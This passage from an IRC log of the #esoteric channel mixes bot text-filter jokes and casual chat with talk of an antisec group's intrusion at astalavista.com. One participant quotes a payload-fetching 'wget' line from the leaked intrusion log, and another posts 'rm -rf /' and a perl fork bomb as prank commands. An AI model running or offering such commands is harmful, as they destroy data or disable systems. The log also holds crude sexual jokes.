here is muh sister who is also muh son's momma, an' this here is muh momma who is muh daughter's momma, an' this here is muh daddy who is thuh daddy uh muh sister's son. < 1244508494 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :... It's the *Brainfuck* rot13? < 1244508494 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric ::) < 1244508495 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :!cockney Cavities and chassises are the foundation of a modern subjective object theory that can be used to emulsify prior notions to produce new entities. < 1244508495 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Cavities and chassises are the bleedin' foundation o' a modern subjective object theory that can be used ter emulsify prior notions ter produce new entities. < 1244508503 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :meh < 1244508505 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :haha < 1244508520 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!addinterp postmodern_aoler sh postmodern | b1ff < 1244508520 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Interpreter postmodern_aoler installed. < 1244508525 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :!show gregor < 1244508525 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :sh sed 's/þ/th/g ; s/Þ/Th/g ; s/ſ/s/g ; s/æ/ae/g ; s/Æ/Ae/g ; s/œ/oe/g ; s/Œ/Oe/g' < 1244508531 0 :bsmntbombdood_!n=gavin@97-118-112-245.hlrn.qwest.net JOIN :#esoteric < 1244508534 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!postmodern_aoler Cavities and chassises are the foundation of a modern subjective object theory that can be used to emulsify prior notions to produce new entities. Phallus. < 1244508535 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :CAVITYS & CHA5515E5 R TTED KENNEDY FOUNDASHUN OF A MODERN 5UBJECT1VE OBJECT THEORY THAT DECON5TRUCTED CAN BE U5ED 2 EMULS1FY PR1OR NOSHUNS 2 PRODUCE PO5TMODERN ENTITYS!! FALLUS. < 1244508536 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!postmodern_aoler I am an AOL user, and a proud supporter of AMERICA ONLINE. < 1244508537 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :1 AM AN AOL USER, & A PROUD SUPPORTER OF AMER1CA ONL1NE. < 1244508547 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Brrf, that one didn't work. < 1244508582 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!postmodern_aoler I am the scourge of the internet < 1244508583 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :I AM TTED KENNEDY SCOURGE OF TTED KENNNEDY INTERNET < 1244508602 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :!postmodern_aoler I heard you like AOL so I put an AOL in your AOL. < 1244508603 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :1 HEERD U LIKE AOL 5O I PUT AN AOL IN TH3 PENETRATED SPAC3 OF YOU'RE AOL!! < 1244508619 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :!postmodern_aoler So you can AOL while you AOL. < 1244508619 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :SO U CAN AOL WHIEL U AOL!! < 1244508657 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!userinterps < 1244508658 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Installed user interpreters: aol austro b1ff bc bct bfbignum brit brooklyn chef chiqrsx9p choo cockney dc drawl dubya echo ehird fudd google graph gregor hello jethro kraut num ook pansy pirate plot postmodern postmodern_aoler redneck rot13 sadbf slashes swedish valspeak warez yodawg < 1244508664 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!fudd I'm hunting rabbits. < 1244508665 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :I'm hunting wabbits. < 1244508665 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :!show warez < 1244508666 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :sh warez < 1244508674 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!fudd Cavities and chassises are the foundation of a modern subjective object theory that can be used to emulsify prior notions to produce new entities. Phallus. < 1244508674 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Cavities and chassises awe de foundation of a modewn subjective object deowy dat can be used to emuwsify pwiow notions to pwoduce new entities. Phawwus. < 1244508676 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :!wares your mother < 1244508680 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!warez is aol < 1244508680 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Is 4Ol < 1244508680 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :!warez your mother < 1244508681 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :j00r m07H3R < 1244508683 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1244508684 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :no < 1244508685 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :warez=1337 < 1244508690 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :!warez yeah! < 1244508690 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Y34]-[! < 1244508690 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :!addinterp rottisiery rot13 | b1ff | rot13 | cockney | rot13 | chef | rot13 < 1244508691 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Interpreter rottisiery installed. < 1244508703 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :!rottisiery I wonder what I'll get? < 1244508704 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :| o1ss | ebg13 | pbpxarl | ebg13 | purs | ebg13 < 1244508710 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Well played :P < 1244508712 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :"? "\ < 1244508721 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :You missed a step. < 1244508725 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :XD < 1244508727 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!addinterp rottisiery sh rot13 | b1ff | rot13 | cockney | rot13 | chef | rot13 < 1244508727 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :There is already an interpreter for rottisiery! < 1244508731 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!delinterp rottisiery < 1244508732 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Interpreter rottisiery deleted. < 1244508733 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!addinterp rottisiery sh rot13 | b1ff | rot13 | cockney | rot13 | chef | rot13 < 1244508733 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Interpreter rottisiery installed. < 1244508735 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!rottisiery butts < 1244508735 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/tmp/input.1186: line 1: rot13: command not found < 1244508737 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :!delinterp rottisiery < 1244508737 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Interpreter rottisiery deleted. < 1244508739 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1244508740 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Failus,. < 1244508750 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Install BSD games? < 1244508758 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :ROT! < 1244508761 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsdgames is like unto a flower < 1244508775 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Also has Morse! < 1244508804 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :but probably no remorse < 1244508819 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Who does in this day and age? < 1244508829 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :JESUS < 1244508870 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ehird: no swearing please < 1244508880 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :H. FUCKING CHRIST < 1244508969 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders about what is the Pink Floyd - Poles Apart from Division Bell
< 1244508971 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric ::f < 1244509075 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :DAMN YOU CANKER SORE < 1244509103 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it could be worse. it could be a cancer sore. < 1244509138 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :nooga: it's the song Poles Apart. < 1244509142 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :from the album The Division Bell. < 1244509151 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :(which isn't a floyd album, as it has no Waters) < 1244509152 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :*about < 1244509159 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION thinks nooga doesn't like poles to be apart
< 1244509260 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION now wonders what is the collective noun for poles
< 1244509269 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: Poli. < 1244509276 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :really? < 1244509283 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :um < 1244509301 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :Pollocks :D < 1244509302 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :a poli of poles < 1244509413 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :e poli < 1244509418 0 :amca!n=amca@CPE-121-208-82-97.qld.bigpond.net.au JOIN :#esoteric < 1244509425 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh wait, clearly it must be "parliament of poles" < 1244509428 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION ducks
< 1244509546 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: no, not ducks < 1244509547 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :poles < 1244509580 0 :bsmntbombdood_!unknown@unknown.invalid QUIT :Read error: 110 (Connection timed out) < 1244509582 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hoi polloi < 1244509649 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :hoi polloi < 1244509830 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :[[ \/ \/ \/ \/ - Fuck full-disclosure < 1244509831 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric : - Fuck the security industry < 1244509832 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric : - Keep 0days private < 1244509834 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric : - Hack everyone you can and then hack some more]] < 1244509835 0 :Asztal!unknown@unknown.invalid PRIVMSG #esoteric :an influx of Poles? < 1244509836 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Oh boy, kiddies. < 1244509843 0 :Asztal!unknown@unknown.invalid PRIVMSG #esoteric :ho ho ho < 1244509843 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :...kiddies that have an exploit in recent linuxes. < 1244509847 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :That allow them to get root remotely. < 1244509854 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :That they won't publish for obvious reasons. < 1244509858 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :FUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU < 1244509862 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :CCCCCCCCCCCCCCCCCCCCKKKKKKKKKKKKKKKKKKK < 1244509979 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :WO?! < 1244509986 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :http://gbelo.org/greed/rbs/?level=1 < 1244510028 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: what is that < 1244510082 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :A game, kind of < 1244510116 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :explain it < 1244510120 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric ::p < 1244510171 0 :warrie!unknown@unknown.invalid PRIVMSG #esoteric :Hoi polloi? Isn't that a collective noun? < 1244510186 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :ya < 1244510189 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yeþ. < 1244510231 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ehird: Oh, bloody hell. < 1244510240 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Yep < 1244510241 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ehird: Any idea if iptables works? < 1244510260 0 :warrie!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION looks at Sgeo's Esperanto game.
< 1244510266 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :It's not Esperanto < 1244510274 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: It got in either through ntpd, or the web server, or something else - obviously they won't tell us and the paste of astalavista.com being hacked probably has a ton of lies to set us off course. < 1244510281 0 :warrie!unknown@unknown.invalid PRIVMSG #esoteric :How do you explain the "belo", then? < 1244510285 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :The site, fwiw: http://romeo.copyandpaste.info/ < 1244510296 0 :warrie!unknown@unknown.invalid PRIVMSG #esoteric :Wow. What a strange little site. < 1244510306 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :FUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUCCCCCCCCCCCCCCCCCCCCCCCCK. < 1244510327 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :Get trusted. < 1244510327 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :Trust no one. < 1244510330 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :erm < 1244510335 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :a bit illogical? < 1244510342 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :how is that illogical < 1244510346 0 :warrie!unknown@unknown.invalid PRIVMSG #esoteric :astalavista.com? < 1244510347 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :they're waging war on everyone who isn't them < 1244510355 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :warrie: a shitty script kiddie site < 1244510361 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :stole astalavista.box.sk's name < 1244510369 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :they stored passwords for their $6.66/mo forum in plaintext < 1244510379 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :anyway, this group used their unreleased exploit to get root < 1244510382 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :and deleted everything on it < 1244510393 0 :warrie!unknown@unknown.invalid PRIVMSG #esoteric :I'm guessing it's a misspelling of hastalavista. < 1244510396 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :tl;dr unplug your ethernet cable for a few years. < 1244510405 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :warrie: it just comes from Terminator. < 1244510436 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :ehird: i enter a group in which i must remember a rule not to trust anyone in that group, if other members of a group follow that rule i cannot get trusted < 1244510450 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :the group* < 1244510455 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :nooga: presumably the idea isn't to get trust in the group < 1244510457 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :but everywhere else < 1244510464 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :pretty obvious < 1244510472 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :+ < 1244510474 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :# rm -rf / < 1244510478 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :WHAT A CLIMAX! < 1244510500 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :http://romeo.copyandpaste.info/txt/astalavista.txt ← i wouldn't kid around, they fucking ravaged astalavista < 1244510510 0 :warrie!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION decides not to rm -rf /.
< 1244510523 0 :warrie!unknown@unknown.invalid PRIVMSG #esoteric :I did rm -rf / once. It was pretty boring. < 1244510532 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :gnu rm doesn't let you < 1244510545 0 :warrie!unknown@unknown.invalid PRIVMSG #esoteric :"Huh. Now I can't do anything. Okay, on to the next thing." < 1244510567 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I see an easy solution. < 1244510575 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :OpenBSD. < 1244510575 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :sometimes i leave a present before logout < 1244510581 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :perl -e 'fork while fork' < 1244510584 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric ::F < 1244510595 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :ehird, do they actually have an exploit, or are they _claiming_ they have an exploit? < 1244510602 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Yes they have an exploit. < 1244510606 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :They used it on astalavista.com < 1244510609 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Jesus, keep up. < 1244510628 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :And it's a new 'sploit as astalavista was running on a recent linux < 1244510658 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :boring < 1244510664 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Looks like an Apache exploit. < 1244510667 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: no < 1244510670 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :astalavista run LiteSpeed < 1244510672 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :bad hackers were trendy in 90's < 1244510674 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: and remember, that paste has fakes < 1244510684 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :for instance < 1244510685 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :sh-3.2$ wget http://anti.sec.labs/g0troot < 1244510685 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :--13:33:37-- http://anti.sec.labs/g0troot < 1244510688 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Right... < 1244510697 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :so you shouldn't really trust the contents to be accurate wrt the exploit < 1244510721 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I'm suspecting that it'd need some good analyists to figure out WTF they're doing. < 1244510845 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :As an aside, their HTML sucks. < 1244510949 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :@recycle *ehird < 1244511848 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :uhm < 1244511867 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ohm < 1244511874 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :it's late < 1244513793 0 :Slereah!unknown@unknown.invalid QUIT : < 1244514758 0 :Corun!unknown@unknown.invalid QUIT :"Leaving..." < 1244515798 0 :bsmntbombdood_!n=gavin@97-118-112-245.hlrn.qwest.net JOIN :#esoteric < 1244516621 0 :psygnisfive!unknown@unknown.invalid QUIT :"Leaving..." < 1244516638 0 :coppro!unknown@unknown.invalid QUIT :Remote closed the connection < 1244516876 0 :bsmntbombdood_!unknown@unknown.invalid QUIT :Read error: 110 (Connection timed out) < 1244516879 0 :pikhq!unknown@unknown.invalid QUIT :Read error: 104 (Connection reset by peer) < 1244517025 0 :pikhq!n=pikhq@75-106-100-121.cust.wildblue.net JOIN :#esoteric < 1244517245 0 :GreaseMonkey!unknown@unknown.invalid QUIT :Remote closed the connection < 1244518588 0 :inurinternet!n=nuri@cpe-72-132-167-7.dc.res.rr.com JOIN :#esoteric < 1244518880 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, I found a free money giver in M*U*S*H! < 1244518926 0 :inurinternet!unknown@unknown.invalid QUIT :Client Quit < 1244518982 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: lol < 1244519008 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :(Well, actually, it's a broken object by Mike < 1244519018 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :But Mike has 56003 Ducats, so < 1244519081 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :not for long, i take < 1244519105 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Although if I abuse it right now, it will spam an area with a lot of people who know I know how to abuse it < 1244519112 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :_admins_ who know this < 1244519216 0 :inurinternet!n=nuri@cpe-72-132-167-7.dc.res.rr.com JOIN :#esoteric < 1244519263 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh no, there's something inmyinternet < 1244519357 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Somethinging your something. < 1244519449 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh no, not my something. anything but that! < 1244519580 0 :nooga_!n=nooga@dos193.neoplus.adsl.tpnet.pl JOIN :#esoteric < 1244519615 0 :warrie!unknown@unknown.invalid PRIVMSG #esoteric :I think I want to make a MUSH. < 1244519631 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :PennMUSH not MUSHy enough for you? < 1244519644 0 :warrie!unknown@unknown.invalid PRIVMSG #esoteric :Does PennMUSH allow random people to come in and write code? < 1244519660 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :warrie, yes < 1244519662 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Well, MUSHcode, yeah. < 1244519670 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :The free money thing's gone < 1244519802 0 :Dewio!unknown@unknown.invalid NICK :Dewi < 1244519980 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :No more output from Dew. < 1244519999 0 :nooga!unknown@unknown.invalid QUIT :Read error: 110 (Connection timed out) < 1244520176 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1244521441 0 :bsmntbombdood!n=gavin@97-118-123-14.hlrn.qwest.net JOIN :#esoteric < 1244522240 0 :oerjan!unknown@unknown.invalid QUIT :"Good night" < 1244522522 0 :psygnisfive!n=psygnisf@c-71-196-114-50.hsd1.fl.comcast.net JOIN :#esoteric < 1244523692 0 :GreaseMonkey!n=gm@unaffiliated/greasemonkey JOIN :#esoteric < 1244526035 0 :Patashu!n=Patashu@c122-106-162-185.carlnfd1.nsw.optusnet.com.au JOIN :#esoteric < 1244528398 0 :warrie!unknown@unknown.invalid PRIVMSG #esoteric :ehird: it appears that you searched reddit for comments mentioning Nomic. < 1244529783 0 :FireFly!n=FireFly@1-1-3-36a.tul.sth.bostream.se JOIN :#esoteric < 1244529820 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :NOM NOM NOM GREGOR EAT BABIES < 1244530075 0 :Bthis!n=cptnshrk@122-57-165-77.jetstream.xtra.co.nz JOIN :#esoteric < 1244530853 0 :Bthis!unknown@unknown.invalid QUIT :Client Quit < 1244530900 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: do not put the baby < 1244531643 0 :lifthrasiir!unknown@unknown.invalid PRIVMSG #esoteric :on the #esoteric < 1244531713 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :wut < 1244531785 0 :Slereah!n=Slereah@ANantes-259-1-73-97.w92-135.abo.wanadoo.fr JOIN :#esoteric < 1244531793 0 :kar8nga!n=kar8nga@e-75.vc-graz.ac.at JOIN :#esoteric < 1244532174 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :I don't suppose somebody here knows how to make Enlightenment use larger font sizes? < 1244533204 0 :Sgeo!unknown@unknown.invalid QUIT :Read error: 110 (Connection timed out) < 1244533720 0 :nooga!n=nooga@dot61.neoplus.adsl.tpnet.pl JOIN :#esoteric < 1244533792 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Funny, when I make font sizes huge they look ginormous on my 16" monitor, but tiny on my .5" :P < 1244533943 0 :nooga_!unknown@unknown.invalid QUIT :Read error: 110 (Connection timed out) < 1244534154 0 :kar8nga!unknown@unknown.invalid QUIT :Remote closed the connection < 1244534399 0 :clog!unknown@unknown.invalid QUIT :ended < 1244534400 0 :clog!unknown@unknown.invalid JOIN :#esoteric < 1244536389 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :hey guys < 1244536405 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :apparently "gaol" and "gaoler" are alternative spellings to "jail" and "jailer" < 1244536408 0 :Patashu!unknown@unknown.invalid PRIVMSG #esoteric :yup < 1244536428 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :thats awesome < 1244536434 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :we should spell jail that way from now on < 1244536503 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It's how I've usually spelt gaol for at least a year now... I just don't get the opportunity to use the word often :-P < 1244536689 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :yeah but you're in some crazy european country < 1244536847 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :What difference does that make :-P < 1244536857 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :europe is all.. european. thats what. < 1244537433 0 :ais523!n=ais523@147.188.254.128 JOIN :#esoteric < 1244537480 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :http://www.youtube.com/watch?v=Zoygy-8PTtU < 1244537481 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :WEIRD < 1244537616 0 :lereah_!n=lereah@nanpc319.in2p3.fr JOIN :#esoteric < 1244540101 0 :tombom!i=tombom@82.25.192.205 JOIN :#esoteric < 1244540338 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Dudes < 1244540358 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Why does LaTeX delete the spaces between number and unit < 1244540362 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Between $$ < 1244540418 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Because in math-mode, all space you want to put in needs to be explicit. < 1244540425 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Use something like "\ " for a reasonable space. < 1244540445 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Or one of http://www.emerson.emory.edu/services/latex/latex_119.html < 1244540512 0 :psygnisfive!unknown@unknown.invalid QUIT :Read error: 104 (Connection reset by peer) < 1244540544 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I also have a feeling if you put a space in the \mathrm{...} you might have there to specify units (so that it doesn't italicize them) those would be kept. But I'm not sure about that. < 1244540724 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :LaTeX tutorials are full of infos about crazy typographic rules that no one cares for < 1244540732 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :It is weird < 1244540823 0 :Patashu!unknown@unknown.invalid PRIVMSG #esoteric :make a metalanguage for latex < 1244540825 0 :Patashu!unknown@unknown.invalid PRIVMSG #esoteric ::awesome: < 1244541529 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :LyX? < 1244541698 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :I no like LyX < 1244542024 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Evidently P != NP http://arxiv.org/abs/0906.1084 < 1244542072 0 :Patashu!unknown@unknown.invalid PRIVMSG #esoteric :oh shi < 1244542072 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: comparing infinities is always a tricky business < 1244542086 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :That's so simple I could do it in my sleep < 1244542088 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I'm not entirely sure if I'd trust people spouting on about physics to get it right < 1244542113 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Hey, I spout on about physics >:| < 1244542113 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but that is a relatively compelling argument < 1244542119 0 :Hiato!n=1@dsl-245-14-154.telkomadsl.co.za JOIN :#esoteric < 1244542131 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :lereah_: luckily, I've never needed to trust you to compare infinities correctly < 1244542184 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Your mom is infinitely fat, but I had sex with her an infiniter number of times < 1244542197 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :At least three bonings per pounds < 1244542214 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but multiplying an infinity by 3 doesn't change it < 1244542232 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :It does when my penis is involved < 1244542253 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Also your argument only works for some types of 